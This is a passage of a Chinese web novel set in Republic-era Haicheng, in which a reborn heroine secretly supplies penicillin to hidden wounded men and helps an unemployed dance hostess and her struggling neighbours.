常文远似在沉思,春妮以为被她说中,一下着急了:“我就说要慢慢来,把倭国人逼急了就没得谈了,常先生怎么就不听呢?” “慢点慢点,”常文远连忙道:“没有这么紧急。伯父的一位朋友是英国使馆的参赞,这段时间,伯父的经历引起了国际舆论的一致谴责。他的这位参赞朋友将伯父介绍给了英国公使,公使邀请他暂住大使府邸养病,避免倭国人和伪政府的进一步迫害。只要他不出门,是不会有危险的。” “常先生会乖乖听话不出门吗?”春妮不报希望地问。 常文远的答案这次有点出人意料,他笑道:“这次伯父不听不行了。伯父上回在76号的事不知是谁告诉给了我伯祖母,她老人家倒没不许他出门,只是发了话说,只要伯父出门,他走到哪,伯祖母跟到哪。伯祖母身体不好,很少干涉他工作上的事。伯父也要顾及老人家的心情,至少在老人家放心之前,是不敢再乱来了的。” 春妮松了口气,想起他刚刚的表现,不由埋怨道:“既然是这样,你刚刚吞吞吐吐的,怎么不早说清楚?” 常文远笑容立刻收住,他望着春妮的眼神,一看就是有难言之隐。 “我刚刚是想问你,那天的药品还有没有。” 春妮脑海里仿佛“叮”地响了一声,她不由得将常文远上下打量一番:他被常先生波及,受到的枪伤本来就没有大碍,现在站在这里活蹦乱跳的,也不像有什么暗伤。这药品显然不是给他用,也不是给常家人用。 “你要什么药?” “最需要的,你上次给我伯父用的消炎药,如果有其他的药我也要。” 春妮心底“嘶”地一声,她上回后来中药西药给了这么多药品,这家伙偏偏就看上了消炎药,他可真会选! 春妮试探地问:“你要这药干什么?” “有用。”他仿佛知道春妮在想什么,看着她的眼睛:“这药绝对不是给恶人用,你这点可以一万个放心。” 我放什么心啊!这根本不是放不放心的问题! 春妮内心是崩溃的:要是我这药能随便拿出来,我早拿出来换黄金了。这世上所有的青霉素都还在实验室待着,拿出来我怎么解释?遇上一个疑心重,又有专业素养的人验一验,我就完蛋了! 她绝对相信常文远的人品,可……春妮有苦难言。 有第一回就有第二回。这一点,在春妮决定从空间取药出来救治常先生时,早就想到的。但只要药品的流向可控,她可以像跟常先生一样,全程跟踪,再想办法回收药瓶。 她没想到的是,才认识不到两个月,常文远会这么相信她。他要救治的,分明不是该拿到台面上说的人,那她还能用这个办法吗? 而常文远开过第一回口,下面的话就不难再说了 :“我知道,现在倭国人查得严,让你找药品非常冒险。但,你相信我,我要救的那个人他,他是……总之他绝对值得去救。需要多少钱,你开个数字,我一分不少——” “你当我什么人了?这不是钱的问题!”春妮揉着额头:“你让我冷静冷静。” 至少给点时间让她想个万全的法子。 第42章 042 分裂的情景 “要用药的人在不在海城?” 常文远万没想到, 春妮冷静后的第一句话竟然是问的这句。 若不是问话的人是她,他一句“你懂不懂规矩”早就甩了出来。 幸好这时春妮已经说出了理由:“我不是有意窥探,但我的药品需要低温冷藏才能保证药效。若是失去冷藏条件, 药品就必须在三小时之内使用完毕, 否则会变质。” 这个时候,便携式冷藏箱还没有被发明出来,春妮的这个条件首先就限制在了运输问题。 常文远舒了口气,但春妮还有话没说完:“给我药的人要求过,为了保证配方和药品不外泄,我必须在场亲自给病人注射。或是像常先生那样,医生注射完毕后, 我来回收药瓶也可以。” 常文远:“……”知道的以为这丫头掌握的是几支药水,不知道的, 还以为她拿的是稀世奇珍呢。 他绝对想不到,他在心里随意槽的这句话会是真的,春妮手上的这些青霉素还真的是稀世奇珍。 以春妮怕麻烦的个性,如果不是药品泄露更加麻烦, 她问这么多,是嫌自己死得不够快吗? “没有第二种办法?” 春妮摇了摇头。 现在纠结的人换成了常文远。 春妮静静等待着他的决定。 其实常文远已经是别无选择, 如果正常渠道拿得到消炎药,他当然不会来找春妮。在他心里,这个女孩子再厉害, 也只是个需要大人保护的小姑娘。有他们在,小孩子不该承担太多。 “我能信你吗?”他轻声问。 没想到春妮竟然还是摇头:“你最好别相信我。你提前布置好, 我可以让你把我的眼睛蒙起来,也不需要看到治病的人。因为我没兴趣,也不想知道。你只要保证, 我完成我的事情后可以顺利离开。” 这样的安排也令常文远舒了口气,他点点头:“很合理。等我半个钟头安排,马上来找你。” “你不用太着急,我也需要点时间取药品。” 望着常文远离去的背影,春妮忍不住叹了口气:编瞎话令人头秃。因为这几支药,她都快成撒谎大王了。 “春妮,你跟小常先生刚刚在嘀咕什么?”夏风萍走出小摊,舒活着自己的筋骨。 “没什么,”春妮道:“你一会儿上课前记得找个人帮我们看下摊子,我要出个门。” “那还是叫大胖的二妹来吧,”夏风萍点着下巴,让她朝摊子对面的大槐树下看:“这孩子也算有心了,这些天没事就过来守着,我们一忙不过来,就跑过来帮着收拾碗筷,没事也不巴在这让人为难,是个勤快孩子。” 那天夏生跟春妮说,想帮帮大胖。可大胖今天才七岁,他两个妹妹更小。这一家妇孺,病的病小的小,即使去做工,都没人肯招。 最后他想了个办法,将春妮每天分给他做的报纸袋转包出去,承诺他们每折十个,就有一分钱工钱,算是给了他们一点小小的帮助。至于那些工钱,则是从春妮偶尔给他的零用钱省出来的,后边他供应不上,春妮也资助了一点。 这一点钱给了大胖母女几个无比的动力,不到两天,就将夏生带过去的报纸全折成了纸袋,纸袋堆叠起来,足有半米高。 可春妮做的是饭食铺子,一般人进店就吃,很少有人打包,对报纸袋的需求量本来就不大。即使没有夏生,她自己趁空闲多折几个,也足以应付所需。给大胖家分的这点活,纯属于姐弟两个发善心,不是个长法。 倒是大胖嫁出去的大姐听说后受到启发,虽然被丈夫管着,不敢拿钱接济娘家,也给家里找了个糊纸盒的活。 这点活大胖妈一个人就能做,就是工钱太低。大胖妈从早到晚忙忙碌碌糊几百个盒子,才只有几毛钱的工钱,勉强糊口罢了。 后边大胖二妹有时候帮着跑腿给春妮送纸袋,两边渐渐熟悉起来,只要春妮这边忙着,她就帮着招呼客人,端碗端盘的可勤快。春妮如今吃喝有靠,对孩子也大方起来,有时候给她两个馒头,弄得小丫头越发往这跑得勤便。 这孩子跟夏生一边大,她妈把孩子送过来跟着上学时,那时候老师们有了经验,再收学生就只肯收六岁以上的学龄童。她正好卡在六岁以下,在家里跟着她妈饥一顿饱一顿,长得比夏生矮大半个头。要不是特别懂事,手脚也伶俐,真的就像个三岁的孩子一样。 这两天夏风萍跟春妮商量,干脆以后白天也让她来帮着干活,报酬就是管她三餐。 夏风萍在外边一年多,早已不是先前那个不知人间疾苦的娇娇小姐。她们不是给不起更高的报酬,但孩子这么小,在外人看来,春妮肯收她,就是做了好事。再给钱的话,那就是有便宜可以占的善心人家,会多很多不必要的麻烦。 春妮让夏风萍自行处置,装模作样地回了趟家,将青霉素和她上回特意从药房买到的注射针管等用具取出来放好,走到路口等了一会儿,一辆黑色的福特在她脚边停下,常文远坐在司机位上。 “上车。”他说。 春妮坐上副驾驶,见对方忙着开车,特别自觉地翻出个黑袋子套在了头上,然后她就听到“噗”地一声笑。 她扒下口袋,瞪他道:“有什么好笑的?”我这么懂规矩的人可不好找! 常文远笑得方向盘差点把不住:“大白天的你这副打扮,让路边人看见了,还不以为你被我绑架了?取下来吧。” 春妮老脸红了红:老长时间没做过这么刺激的事,一上来紧张过了头。 她咳嗽一声:“还得多久才到?” “这说不准,倭国人这两天到处设卡,看他们什么时候检查完吧。” “还要出租界?那今天晚上我能回来吗?”倭国人无法在租界驻兵,便在租界外到华界的这部分地区设置了卡哨。但倭国军力有限,且调动频繁,这些卡哨不是每天都有,而是看情况和需要设立。 “我尽量吧。”他这么说。 春妮不问了,猜测今天要救治的人极有可能在城外。 为了不让自己想得太多,她将视线投向车外。 车子此时已经经过一个岗哨,出了租界。 路边有很多人倒卧,这些人无一例外衣衫褴褛,骨瘦如柴。 春妮想起自己刚到海城那会儿,街上也有一些乞丐,但一段日子不见,乞丐们多了一倍都不止。 一名小乞丐躺在街边的阴影里,一个行人走过来,往他碗里投入两个硬币。小乞丐熟练地冲着行人绽开笑容,芦柴棒一样的双手拱起来,冲行人连连作揖。 两分钟前,他们的车刚刚驶过海城最繁华的吴中街。那里人人衣饰华丽整洁,孩子脸颊红润饱满,挂着无忧无虑的笑。仅仅是一街之隔…… 这样分裂的情景是春妮从未见过的,她在来到海城的这一路上,见识过生平见过的最富丽兴盛的盛世之景,也在水灾中经历过什么叫人命鄙贱不如一把野草。 学校里的学生们时常说,自己逃到海城来,还有了书读,是多么幸运。更不幸的孩子们,一块馒头就可以把自己卖给魔鬼。正因如此,学里环境这样差,他们没有一个抱怨,因为他们见过更可怕的境地。 这跟春妮的上辈子完全不同。 上辈子,基地的某些人也有特权,可即使是基地最高长官,他的儿女想进入权力的核心,也必须先到最危险的地方去历练,积累功勋。没有足够的功勋,就算依靠不正常的手段上位,分分钟会被更有能力的 人掀翻推倒。 华国最大的基地因此而分裂,最终被其他基地吞噬。那位争权厉害,本事稀松的二代,他权力的手柄还没有攥热,就死无葬身之地。 在末世那样的极端环境,捧一个猪脑子上位,坑掉的说不定就是自己的命。 所以,在春妮的人生中,只有这一世才真真切切体会到人的出身比自己的本事重要。就像王地主,他那个蠢儿子每天睡到日上三竿,还是顿顿有白米饭吃。而隔壁的江婆婆孙子,每天天不亮就干活,却从来都吃不饱饭。 哪怕有一身的本事,若是出身不好,或是运道差了一点,想要翻身,也会难如登天。 就像学校的大厨赵厨子,他在家乡有三家店。逃到海城之后,因为他没有正经身份,正规餐馆不肯请他。要不是学校给了他一口饭吃,只怕他这会儿还在码头上扛包,当朝不保夕的力夫。 “别看了,这样的事每天都会有。”一只手伸过来,捂住春妮的眼睛。 这样的世道,真是让人不爽。 常文远说:“睡一觉吧,睡一觉,很快就到了。” 春妮吐出一口气,在摇摇晃晃的汽车中顺从地闭上眼睛。 当然,此行的终点未知,要见的人未知,要发生什么事未知,春妮不可能真的睡得着。 她只是闭着眼睛,在心里数着又经过了几个岗哨,转了几个弯,估算又过去了多长时间,直到听见常文远一声“到了”。 春妮睁开眼睛,发现车子开到了一条河边。 河两旁枯树隐隐,荒草萋萋,再看头顶上盘旋的老鸦,不是她熟知的任何一个地方。 春妮难得开了个玩笑:“要不是知道你有事相求,我还以为你带我到这,是来杀人越货的。” 常文远步下河堤,从浅滩边的蒿草深处拽出一条小舟,笑道:“别了,小顾姐大名震烁整个江浦码头。我们两个人真有那一天,谁杀谁都说不定。上船吧。” 春妮挑挑眉,站上船板,心里对要救治的人真的有了些好奇。 她深知规矩,什么都没问。因为出了那样的乌龙,常文远不开口,她也懒得再多此一举给自己头上套黑口袋,只是安静地靠在船边赏赏河景,偶尔看一眼常文远。 想不到他明明是富家少爷的做派,撑起船来也有模有样。 船行到半路,船桨微点,速度渐渐慢下来。常文远望着深深的芦苇荡,终于说了一声:“到了。” 第43章 043 最本质的问题 到了? 春妮撑起身子, 四边不到岸的水窝子,到哪了到了?难道叫她来打针的是龙王爷? 常文远将手指放在唇边,撮唇为哨, 几声“叽叽啾啾”的鸟鸣声后, 芦苇从两边分开,一艘五尺来长的小小乌篷船从水草深处驶出来。 撑船的船夫打着赤膊,脚上一双烂草鞋,斗笠下的脸略带胡茬。 即使春妮不刻意去看,只扫一眼这人黑红的皮肤就知道,他必定常年在太阳底下干活。家境应当也很一般,甚至是贫寒。 光看外面的这个人, 实在不像买得起消炎药的那种人。 常文远跟这人对完暗号,冲春妮点点头:“上去吧。” 春妮垂下目光, 跟在常文远身后上了小船。 船里躺着两个人,一个人头上包着纱布,另一人则是胸口,跟外边那人看着气质差不多, 只是脸色发红嘴唇发白,一看就是烧得不轻。这两个人只看外表, 跟有钱人一点关系都没有。 春妮严格遵守不多看不多问的原则,抽出针管,顺利做完皮试, 注射,全程一句话不说, 干完活干脆利落起身走人:“可以走了。” 临到下船时,反而是那个撑船的人问了一句:“这就算完了?”本地人,郊县口音。 春妮专注脚下:“烧退下去就算完了。没退的话, 明天我再来打一针。” 常文远撑着船到了岸边,坐上汽车,从车座下拖出个箱子打开,数出十筒卷好的银元给她:“你点点?” 春妮看也不看,将银元收起来:“不用点了,我信你。” 她的内心深为惋惜:要是多认识几个像常文远这样的人,她只需卖她的药就能过得足够滋润了。可惜事上不如意的事多,掺合进这种事,即使是常文远,也不能保证让她安安稳稳的,一点危险也没有。 她刚刚看得真真的,别看那个撑船的人手上没有武器,可船头上的渔网下边,藏着一条一条的,绝对是长枪。还有他腰后别着的…… 她毫不怀疑,只要她刚才稍有异动,那今天就休想再回来了。 常文远看她这副“只要我不问,我就什么都不知道”的鸵鸟神态,不由觉得好笑:“你就不——” “打住!”春妮一把捂住他的嘴:“你别说话,我也不想说话。我什么都不知道,也不想知道,咱们保持买家和卖家的纯洁关系就很好。” 常文远摇摇头,扒下她的手,无奈道:“你可真机灵。” 不知道是不是让刚刚的场面刺激的,春妮这会儿特别有倾诉欲。 “那当然了。我要是不机灵,能千里迢迢从家乡逃到海城?”说着,她竟然懊恼起来:“其实我如果真的机灵,先前你问我时,我就该一口回绝你。会用这种药的,有几个身上不是带着麻烦?可谁叫我就是贪财,就是管不住想赚钱呢?要是哪一天我只用专心思考怎么赚钱,不用有这么多麻烦就好了。” 常文远心道:你若真的贪财,那又为何要以伯父的名义将药钱捐出来,给学校添置设备? 只是他有时虽会让人头疼,并不会真正使人为难。他看出春妮只是在用另一种方式拒绝跟这些事有更深的联系,他顺势住了嘴,只是忍不住想:上回她用这些钱给学校买了东西,这回的一百块钱,她又准备怎么用? 不得不说,人有时候思维会在某一瞬间达到同步。 春妮这会儿也在想,她这一百块钱该怎么用。 她觉得自从生活安逸之后,她喜欢胡思乱想的毛病严重了好多。就像这会儿,她总忍不住回想刚刚看到的,那几双穿烂草鞋的脚。还在心里换算,一百块大洋能买几双草鞋。 她这是病了吧?不是说好的一手交钱一手交货?她想这么多干什么?这些人穿草鞋还是布鞋,关她什么事啊! 春妮烦燥得叫停汽车,坐上后座,抽出黑布口袋,脑袋套进去往下一躺:“我睡会儿觉,到地方了你叫我。” 常文远:“……”这更不像急着赚钱才有的态度了。 不过她这个样子,让常文远内心忍不住揣测:若是她真的想打探什么,不可能会是这个态度。看她困扰的这样子,她上家这些奇怪的要求应该是真的。 什么地下药厂有条件冷藏药物? 常文远内心毫无头绪,不由将目光再次投向身边这个看似不起眼的小姑娘,发现她呼吸均匀,竟然真的睡着了。 ………… 不知道是不是春妮的错觉,她觉得这趟特殊的旅途,回程比来时用的时间长多了。长到她睡了醒醒了睡,中间几次揭开黑布袋子往外看,看到的都是绿油油的稻田。而汽车从天亮开到天黑,她终于听见常文远说的那一声“到了”。 春妮打开车门,抬头看了看天:原来不止是天黑,是天阴了,快要下雨了啊。 “几点了?”她回头问他。 常文远抬腕看表:“还有五分钟到六点。” “那不用回学校了。”来回路上用了七八个小时,算是出了个小差,春妮轻松地决定今天先逃个班,并指挥常文远:“在路口把我放下来就好。” 路口有一家卖肉夹馍的铺子生意特别好,但春妮一次都没舍得吃过。今天赚了一百块钱,她觉得她应该小小地犒劳一下自己。 肉夹馍一毛钱一个,春妮大方地买了八个,老板还送了她一小罐油泼辣子,一切都很美好。除了付钱的时候,春妮摸到那筒大洋想拆一个出来用,手却像被烫过一样缩了回去。 疯了疯了,她真的疯了。光明正大赚的钱,却像小偷一样不敢用,这不是疯了是什么? 看着被打 包好的肉夹馍,春妮还是肉疼地从平时用的零钱小包里取出一块大洋。 买完肉夹馍转身回来,春妮发现,常文远还没走。 见他目光落在肉夹馍上,春妮警惕地捂住口袋:“你还有什么事?” 常文远失笑:“看你抠门的。不知道的,还以为我要抢你的饼吃。上来吧,送你回去。” 春妮讪讪:她捂住肉夹馍只是下意识的举动,因为他给的那一百块钱,搞得她心里充满了莫名的负罪感,真的越来越不像她了。明明一手药一手钱,多美好的事啊。 上楼的时候,春妮听见金小姐家里有些动静,想想她请自己吃过好几次饼干,自己也该回个礼,从袋子里取出一个肉夹馍敲了敲门。 “谁啊。”金小姐的声音有些将醒未醒的味道。 “是我,三楼的顾春妮,金小姐。” 门开了,金小姐头发蓬松,穿着一身睡衣,脸色苍白:“进来吧。” 有点不对劲啊。 大世界秋季是每天下午六点正式营业,每天的这个时候,金小姐即使没出门,也该穿得整整齐齐的,化个大浓妆准备去上班去了。 “我买了肉夹馍,送你吃一个。”春妮见她开了门,坐在床上两眼无神地盯着天花板,只好自己从她房间的柜子里翻出个茶盘,把肉夹馍给她搁上,顺嘴问道:“金小姐,你不上班去吗?” 金小姐哈地冷笑一声:“上班?上什么班哪?告诉你啊,以后姐姐我就轻松了,不用上班啦。” “您这是出什么事了?” 金小姐脸上还带着睡出来的印子,瞟她一眼:“你不是都猜出来了?我叫大世界辞了,我失业了。” 春妮:“……”你别这么看着我,我真的不会安慰人。 但金小姐这自暴自弃的样子,若是她一点不管,怕是要出事。 她半天憋出一句话:“那你再去新找个工作?” “新找个工作?”金小姐嘲讽地说:“什么工作每天只用做十个小时,一个月就有两百块大洋进帐?公司非但不问你抽成,还有成群结队的客人上赶着捧你奉承你,想着门地给你送礼物,生怕你给他们脸色看?” 春妮:“……” 她站了起来。 “对不住,我嘴巴坏,不是有意呲你,”金小姐忙拉住她,沮丧地道:“我本来是想说,我做过舞小姐,再去找旁的工作,有谁会用我?” 这才是最本质的问题。 春妮勉强说:“海城的跳舞场子这么多,大世界去不了,总有别处能去。你多找两家,别那么灰心。” “我以前在大世界做过头牌呢,这才多长时间,不就是两晚上没人生意吗?他们就这么对我。”她越说越伤心,趴在枕头上呜呜哭起来:“去别处?百乐门的场子倒是比大世界好,可大世界都不留我,我去百乐门,不是自己找气受?大世界以下的小场子,我拉不下这个脸!” 她呜呜哭了好半日,将春妮递来的热水一口饮尽,不知想到了什么,突地坐起来,发狠道:“我就不信了,我金阿娣这辈子翻不了身!你等着吧,我总要,总要——”她卡在“总要”上,瞪半天眼,自己先泄了气:“都人老珠黄了,还指望个什么。你说的是,我明儿个去其他场子碰碰运气。好歹我也做过两天大世界头牌,这个名号还能搬一阵子。” 她哭完说完,见春妮还坐在原地陪着她,自己倒是晓得臊了,拿帕子慢慢擦着眼泪,小声道:“你别嫌我烦。你不晓得,做我们这一行的,只能往上走。若是走了下坡路,沦落得就快了。我现在就是后悔,没在前两年放开点找个人上岸,像现在这样,无亲无靠的,叫人看笑话。往后啊,若是姐姐我哪一日去了堂子里,妹妹千万别瞧不上我。” 春妮,包括金小姐自己都知道,别看她平时嘴巴厉害,在于太太面前表现得底气很足,但其实她离沦落风尘只有一步之遥。 春妮是知道的,女人最悲惨能沦落到什么地步。 金小姐的哭诉久违地使她想起了上辈子,她心软了软:“不至于这样,想想办法,说不定大世界还能留呢。” “什么办法?” 第44章 044 刮目相看 金小姐在大世界待了这数年都不知道怎么留下来, 春妮连大世界的门怎么开都不知道,又怎么可能给得出主意? 她一问出口,就知道自己又在闹笑话。 金小姐擦干净眼泪, 尽量平静地笑了笑:“对不住, 我平时不这样的。顾小姐快回去吧,我听见夏小姐和夏生的声音。肉夹馍凉了该不好吃了。” 春妮忽然发现,她的笑容跟今天她在华界看到的,那些席地而卧的乞丐们何其相像。 尽管金小姐穿着绸缎衣裳,梳妆台上一瓶香水就是普通人几个月的薪水,跟蓬头垢面的乞丐没有任何一样,可他们都是没有未来的人。他们的眼睛里, 都没有对生活的期待。 不该是这样的。 这是民国,这不是末世。 春妮心中发堵, 拉着她坐到梳妆台前:“你看你长得那么漂亮,一定有办法的。” 金小姐盯着镜中的人影,吃吃笑起来:“小姑娘,你年纪轻轻的, 怎么也说起了笑话。”她手指划过镜中那个脸色苍白的女人,尖声道:“你看看, 这是谁啊?这么丑,眼角的皱纹能夹死蚊子,竟敢觉得自己漂亮?还嫌不够丢人的!” 春妮:“……”不过有些纹路而已, 我们末世的女人操心多,二十出头长皱纹的多的是!基地以前那个著名小三都四十多了, 不也迷得大领导昏头转向的? 春妮见过很多回那位传说中的祸基妖姬,以她的眼光看,她长得真不算美。但从她身上的味道和眉角眼梢的神态里, 可以感觉到一种由内而外透出来的温柔,这种温柔对男人有致命的杀伤力。而她温柔归温柔,每当她开口时,又没有人可以忽视她。 不管她的温柔是不是装的,这奇特的气场让春妮深深明白了一个道理:有些女人的魅力是超越年龄的。 这种女人显然不包括金小姐。 甚至春妮跟金小姐说这些,她也未必能理解。金小姐从某种程度上是见多识广,但她见识过的女人,有几个不是带着风尘味? 这个世道没给她温柔的机会,但浅薄不是她的错。 春妮最后说:“我娘跟我说过,我们女人家生来就苦,若是自己个儿都不知道爱惜自己个儿,那就没人在乎你了。你说过,你刚来那会儿一无所有,都能挣出片天。如今失个业罢了,没道理天都塌了吧?” 她按住金小姐:“你会不会做饭?” “我在家做过。” “那水准怎样?” “吃不死人吧。” 春妮:“……绣花呢?” 金小姐又笑了:“小姑娘,我们家九口人,能吃饱肚子就不错了,还绣花。跟你讲,我若是糟践一根纱,我娘能把我肠子打出来。” 春妮:“那你总吃得了苦吧?” 金小姐沉默了。 “我能吃苦,可我真的不想再过以前那样的日子。”她说:“小妹子,我知道你的好意。你就当姐姐我不要脸,好吃懒做,别管我了。” ………… 春妮拎着肉夹馍,刚在楼梯上露面,朱先生门就打开了。 夏风萍站在门里笑:“哟哟,瞧瞧咱们的小抠门儿,今天改了天日,竟舍得买大肉吃,来来来,我瞧瞧,今天出了多少血?” 这家伙,打从跟朱先生的事在夏家父母面前过了明路,越发不知道收敛。如今楼里楼外,谁见了春妮不问一声,他们是不是好事近了? 春妮把肉夹馍塞给她:“去熬点粥来,好就着吃饼。” 夏风萍满足地嗅一口肉香,笑道:“有好东西吃,还喝什么白粥?再说了,等粥熬好,饼早凉了。家辉,你去路口买锅海鲜粥,咱们今天喝粥吃饼!” 要不怎么说,春妮这里管吃管住,这位大小姐一个月十块钱的薪水还 不够花呢? 今天一碗海鲜粥,明天一块朱古力,天天零嘴不断,还专拣贵的买,十块后头再加个零,也经不住她这么吃啊! 亏得朱先生跟她一个爱好,爱吃爱玩,不怕花钱。这两个人,说不定真能过到一起去。 春妮面无表情进了门。 夏风萍心情愉快,哼了老半天歌,终于觉出了问题:“你怎么不作声?今天不高兴哪?” 春妮搁下纸笔,道:“金小姐失业了。” 夏风萍“哎哟”一声:“那可怎么办?” “她可能要下海。” 夏风萍是个热情的姑娘,闻言比春妮还着急:“她上回不还跟我们吹,说她在舞厅里混了十年,没叫人占到半点便宜?这会儿下海,那不是千年道行一朝丧吗?她就不能改个行?” 春妮看一眼写字写得东倒西歪的夏生,将夏风萍拉到门外,把金小姐的话转告一通,夏风萍恨铁不成钢:“这个金小姐,真是自甘堕落!她既宁愿去堂子里赚那皮肉钱,你替她操什么心?别人快活着呢!!” 春妮拍她一下:“小点声,你如今说话越发没个忌讳了。”又说:“总归相识一场,我有点不忍心见她落到那一步。” “进门去啊,怎么都在门口发呆?”两人说话功夫,朱先生端着海鲜粥回来了。 夏风萍帮着朱先生开门,跟他把金小姐的事嘀咕了一遍。 朱先生笑了:“这点事,也值得你们愁成这样。”见女朋友不开心,忙道:“我的意思是,她不就是因为没生意被大世界辞了吗?想法子宣传宣传,说不定又起死回生了呢?” 一语惊醒梦中人,夏风萍恍然大悟:“你是说,让她在报纸上登载广告,还是请人捉刀写篇寻芳赏?” 夏风萍说的两种法子,金小姐的前辈们都曾利用过,还有人利用得十分精妙甚至是精彩绝伦。 这时候做舞女也好,做妓女也好,都是懂得流行风尚的。 时人爱看报读报,就有那不讲究的穷酸文人为这些风尘女子写寻芳赏,画鉴美图投递到一些小报中。小报为了销量,利用人的窥私心理,也往往乐得配合,引得正经人纷纷摇头大叹世风日下。 而那些报纸联合舞厅和高等妓院选出的“花国大总统”“十二花魁”等名妓名优,若是宣传作得好,全民追捧也不意外。 甚至一位海城名妓曾借某地水灾之名创造出一种义赈彩票,在各大日报广发广告。言曰,为水灾募款,总设十万票,一票一元,开彩期一月,愿将所得捐赠给灾民。一月一到,无论中彩者是何人,她亦会拿出彩额的三成为嫁妆以身相许。一时满城轰动,无论贫民老翁,人人争购竞彩。最后,一月之约如期到达,此妓芳踪沓然。竟是以彩票为名,骗了一大笔钱之后消失得无影无踪!【注】 朱先生笑道:“我们报纸登一次广告花费在数十元左右,效果如何不知。你说金小姐会不会出这个钱?” 是啊,如今风尘女子们在报纸上打广告已是司空见惯,早就失去了新鲜感。最怕钱花了,成效没有,白扔一大笔钱进去。 金小姐想要的东西春妮给不出来,她也只是叹一叹,或许睡一觉就算了。夏风萍却跟自己较上了劲,三人吃罢晚饭,春妮扔下那两个情意绵绵,眼里看不见旁人的家伙回房,开始吭哧吭哧地练字。 十张大字才写了一半,夏风萍“哐”地推开门:“我想到了,要不让金小姐印发宣传单试试?” “那你去跟金小姐说啊。”春妮道。 夏风萍却扭捏起来:“我不是跟金小姐不熟吗?正好,她若是愿意印宣传单,你让她考虑考虑我们学校呗。” 春妮不得不特地给夏风萍一个崇敬的眼神:士别三日,当刮目相看哪! 学校虽说接了常先生的单,按理手上有些闲钱。可这段时间,海城教育界大乱,常先生又在家养病,而学校另两位负责筹资的校董都另有要事在身,暂时离开了海城。 如今各所学校虽还在勉强运行,但印教材的钱,常先生是无论如何也给不出来了。 为此,方校长昨天晚上专门留老师下来开了次会。他的意思,是各学校的教学都还在正常进行,看各位老师有没有办法募集一点资金,不说让每个学生人手一份新教材,至少也该几人一份先印发下去。 昨天晚上,夏风萍已经给家里打过电话,夏先生今天派人给学校捐了两百块钱。 两百块看着多,分摊到每个人身上,洒洒水都不够。 夏风萍说的,的确是个办法。 海城的广告宣传单相当流行,如果学校能够接一些印发宣传单的活,说不定可以稍微缓解一下资金的压力。 现在学校不止请了杨大强一个半工半读的学生帮助学校印刷教材,还有两个同他交班替换。若是印刷机停印,这几个学生必然要离开学校谋生,可就是真的失学了。 “行,我明天探探金小姐的口风。”春妮爽快地答应了。 因为金小姐一直维持昼伏夜出的生活习性,春妮直到第二天的傍晚才找到机会跟她商量。 她果然有些心动,待听见春妮报价,说她学校一张宣传单一分钱,若是印得多,价钱还能再降下来,金小姐还有什么不能答应的? 春妮无师自通,又同她商量,印完之后,她的传单肯定要请人派发,不如把这个活交给她学校的学生。 金小姐也答应了,但在看过学校的纸之后,嫌弃他们的纸太差,要求换成市面上的纸,宁愿加钱都成。还要帮她刻画个动人的小像,纸上不能有熏人的油墨味,还有派发宣传单也要注意……要求多得不得了。 亏得这是第一笔生意,学校的老师们抱以了极大的热情。有丹青底子的方校长亲自出手,画了幅含蓄婉约的小像,才是堵住了金小姐的嘴。 “给舞女画宣传画,为师这也算是下海了吧。” 有学校几百张吃饭的嘴等着喂,方校长如今是彻底放开了矜持。 韩老师突发奇想:“咱们把那块旧铁板的经纬线抹了吧,以后要是经常有这样的宣传画要画,还是得备一块光滑的板子。” 王老师则实际地说:“希望能来个开门红,金小姐能再给我们带点生意来吧。” 第45章 045 怜贫惜老 客观地说, 凭金小姐现有的资质,即使广派宣传单,想来个开门红基本是痴心妄想。 为了学校的业绩, 在金小姐等待学校宣传单印发的这段时间里, 春妮和夏风萍两个都没闲着。 金小姐五官是不差,可她常年带妆,生活不规律,还不忌烟酒,早就脸色发黄暗沉,卸了妆足足比不卸老十岁。 夏风萍问她妈要来个养脸的方子,让金小姐每天去药铺里开了外服内用。春妮则在空间里刨出本美容养颜书, 今天不是教金小姐做黄瓜面膜,就是让她敲胆经搞祛毒疗程, 忙得不亦乐乎。 春妮则有空劝她,让她赚到钱,再别手松都花了。攒着点,哪怕报个识字班, 打字班,以后做不了舞厅, 也好找个工作呢? 金小姐嗯嗯连声,也不知道听没听进去。 不知是哪一步做得对,还是这几天金小姐吃好喝好, 生活规律,皮肤竟是养白了一点。她又托以前的小姐妹去跟大世界的领班说了情, 大世界松口让她再试一次。 如此忙碌三四天,总算一切准备停当。 这天上班前,金小姐穿一件猩红色绣黑蝴蝶丝绒短袖旗袍, 只戴一双黑丝缎及肘手套,顶着新烫的头发上了黄包车,同两个姑娘道别:“今天的事,全靠两位操持,若是此行顺利,回来我必重谢两位。” 她这一说,竟有了些“风萧萧兮易水寒”的壮烈。 目送着金小姐的黄包车远去,夏风萍垮了肩膀:“伺候人可真不好做,我可不想再有第二回了。对了,你安排的那些发宣传单的同学,他们不会有问题吧?” “我让他们守在其他歌厅前,专盯着出来的男客发放。如果他们都做到的话,应该是不会有什么问题的。” 夏风萍揉了揉肩,见春妮往二楼走去,也跟了过去:“上楼干什么?咱 们不做晚饭了吗?” 春妮上二楼是去找于太太的,天气渐渐转凉,她前两天买了新棉花弹了两床厚棉被,又在布店扯了布准备做被里子,回来时被于太太看到,说她会做被里子,让春妮将活交给她做,准保比外头做得又快又好。 她打零工做到现在,还只能给裁缝铺钉扣子,春妮可不敢相信于太太的手艺。但于家的生活是小楼几户人家中最清寒的,被里子又不难做,没必要因为这个闹得邻居们脸上不好看。春妮便答应下来,今天是跟于太太约好取被里子的时间。 于太太一天到晚,不是在她家的小房间里忙活,就是在厨房里洗洗涮涮。除了去裁缝店,几乎不怎么出门。 春妮敲开门的时候,于家正吃晚饭。 于太太笑着请她进屋里坐:“你们来拿被里子吧?已经做出来了。请里边坐,我这就给你们找出来。” 夏风萍往里边看了一眼,笑着拒绝:“我去做晚饭,春妮拿就行了。” 于家的亭子间建在灶披房上边,常年的油烟熏烤,使得他们这边靠窗的位置也熏得油乎乎黑漆漆的。不知道是不是为了省电,于家并没有打开电灯。春妮适应了一会儿室内的昏暗,才看见于家人的饭菜。 桌上放着一个大笸箩,两个盘子。笸箩里装的是三四个煮山芋,一个盘子是油菜,另一个盘子里黑乎乎的,应该是咸菜疙瘩,竟是没有一粒米,那几个煮山芋恐怕不够一家人裹腹。 难怪于太太那么自矜的人,如今也肯主动找春妮揽活做。 于先生和两个子女都是寡言的性子,招呼一声便开始自用。春妮平时没跟他们说过两句话,此时看见了,却不好一点不过问。 于太太拿来被里,送她出门时,春妮付了钱,同于太太难得多说了一句:“于太太,我们都是邻居。若是有什么难事,跟我说一声,说不定我能帮上忙呢?” 